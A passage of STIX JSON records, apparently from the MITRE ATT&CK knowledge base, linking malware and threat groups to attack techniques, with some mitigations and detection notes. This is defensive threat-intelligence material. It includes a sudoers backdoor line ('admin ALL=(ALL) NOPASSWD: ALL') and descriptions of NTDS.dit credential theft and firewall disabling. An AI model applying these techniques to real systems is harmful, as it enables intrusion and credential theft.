environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","modified":"2022-04-14T15:07:04.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1ca87ad-0cfc-48e7-a0e4-cee3d81cf917","type":"relationship","created":"2021-10-06T02:04:09.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}],"modified":"2021-10-06T02:04:09.660Z","description":"[Dok](https://attack.mitre.org/software/S0281) adds admin ALL=(ALL) NOPASSWD: ALL to the /etc/sudoers file.(Citation: hexed osx.dok analysis 2019)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1d5c2d2-92f7-4cfa-bd1d-fa06e18c0f33","type":"relationship","created":"2020-03-28T00:53:12.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro DarkComet Sept 2014","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018."},{"source_name":"Malwarebytes DarkComet March 2018","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018."}],"modified":"2020-03-28T00:53:12.439Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can disable Security Center functions like the Windows Firewall.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1d7019e-ccb0-42cb-ba7c-351dd5cb152f","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"},{"source_name":"MSTIC NOBELIUM May 2021","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"},{"source_name":"Secureworks IRON RITUAL USAID Phish May 2021","description":"Secureworks CTU. (2021, May 28). USAID-Themed Phishing Campaign Leverages U.S. Elections Lure. Retrieved February 24, 2022.","url":"https://www.secureworks.com/blog/usaid-themed-phishing-campaign-leverages-us-elections-lure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.318Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.(Citation: Mandiant No Easy Breach)(Citation: MSTIC NOBELIUM May 2021)(Citation: Secureworks IRON RITUAL USAID Phish May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1d982c7-bb95-4533-9feb-05c5350b8359","created":"2022-01-11T14:58:01.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.931Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can collect files from a compromised host.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1da2d38-1c36-46bb-9245-ec4f650ef101","created":"2023-08-17T19:14:40.190Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:14:40.190Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used timestomping to alter the Standard Information timestamps on their web shells to match other files in the same directory.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-30T02:49:51.106Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1dda2bd-b47b-42b3-a7e5-dd58cfac1e15","type":"relationship","created":"2021-04-23T03:55:22.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft TESTSIGNING Feb 2021","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option","description":"Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021."}],"modified":"2021-04-26T15:41:39.395Z","description":"Use of Secure Boot may prevent some implementations of modification to code signing policies.(Citation: Microsoft TESTSIGNING Feb 2021)","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1dfbc65-48dc-4218-a10c-906fbe33b6db","type":"relationship","created":"2019-01-29T19:18:28.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2019-06-04T19:40:43.670Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can open an active screen of the victim’s machine and take control of the mouse and keyboard.(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1e10048-626c-4e64-9bdb-fd576be8c19f","created":"2020-11-10T15:39:49.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.660Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has gained access to credentials via exported copies of the ntds.dit Active Directory database. [Wizard Spider](https://attack.mitre.org/groups/G0102) has also created a volume shadow copy and used a batch script file to collect NTDS.dit with the use of the Windows utility, ntdsutil.(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1e16836-d6d9-4d47-bb9a-35f31f369980","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","source_name":"Unit 42 QUADAGENT July 2018"},{"description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html","source_name":"FireEye APT34 July 2019"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-05T15:52:16.163Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has created scheduled tasks that run a VBScript to execute a payload on victim machines.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: FireEye APT34 July 2019)(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1e74408-5c7b-4538-afd9-a01b23a92429","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-17T02:15:30.739Z","description":"[Psylo](https://attack.mitre.org/software/S0078) has a command to download a file to the system from its C2 server.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1e9769e-5172-4959-84d3-5a28796f86e1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:41:30.237Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) runs tests to determine the privilege level of the compromised user.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1ec1602-33d6-45be-8eda-2020094e93a4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.661Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1ee7b5a-94cd-4b3a-aa53-55844968c28f","type":"relationship","created":"2020-02-21T15:58:20.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tilbury Windows Credentials","url":"https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf","description":"Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020."}],"modified":"2020-03-24T20:41:09.253Z","description":"Consider limiting the number of cached credentials (HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Current Version\\Winlogon\\cachedlogonscountvalue)(Citation: Tilbury Windows Credentials)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1fab866-6486-4775-8caf-2b5744971477","type":"relationship","created":"2020-03-18T22:53:32.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T22:53:32.233Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) specifically looks for Domain Admins and power users within the domain.(Citation: Symantec Buckeye) ","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1fc4800-c670-4bc1-bc42-2b5fe66d0297","type":"relationship","created":"2020-05-18T17:43:36.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky MuddyWater June 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:41:28.669Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used tools to encode C2 communications including Base64 encoding.(Citation: ClearSky MuddyWater June 2019)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501","created":"2017-05-31T21:33:27.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.415Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used IMAP, POP3, and SMTP for a communication channel in various implants, including using self-registered Google Mail accounts and later compromised email servers of its victims.(Citation: FireEye APT28)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2006705-7f1b-4081-a074-5313f1d8c7af","created":"2023-06-22T19:51:48.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-02T19:12:13.579Z","description":"Individual [Uroburos](https://attack.mitre.org/software/S0022) implants can use multiple communication channels based on one of four available modes of operation.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a205b0ce-df00-40ae-b626-7dc3e8146d45","type":"relationship","created":"2020-03-02T18:49:28.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-09-27T17:57:28.632Z","description":"Determine if certain websites or attachment types (ex: .scr, .exe, .pif, .cpl, etc.) that can be used for phishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a20b8e4c-330f-4e91-b4f6-e58e5800d690","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:15.490Z","description":"[Pteranodon](https://attack.mitre.org/software/S0147) executes functions using rundll32.exe.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2118212-1594-4fb1-8076-5a8649756c9c","type":"relationship","created":"2020-05-15T15:04:34.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.383Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has used a secondary C2 location if the first was unavailable.(Citation: FOX-IT May 2016 Mofang)\t","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a2165d87-3372-4d1d-b622-9705a4eb9b41","created":"2024-04-01T15:56:48.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-01T16:02:01.012Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) will remove and write malicious shared objects associated with legitimate system functions such as `read(2)`.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a21afd42-09ae-4e6b-a065-dc1b4454216d","type":"relationship","created":"2019-01-29T20:05:36.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust NanoCore Jan 2017","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/","description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."},{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2019-04-17T20:47:23.895Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) has the capability to edit the Registry.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a21e7dd8-9194-4c09-870c-11f44f391838","type":"relationship","created":"2019-01-30T13:53:14.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, 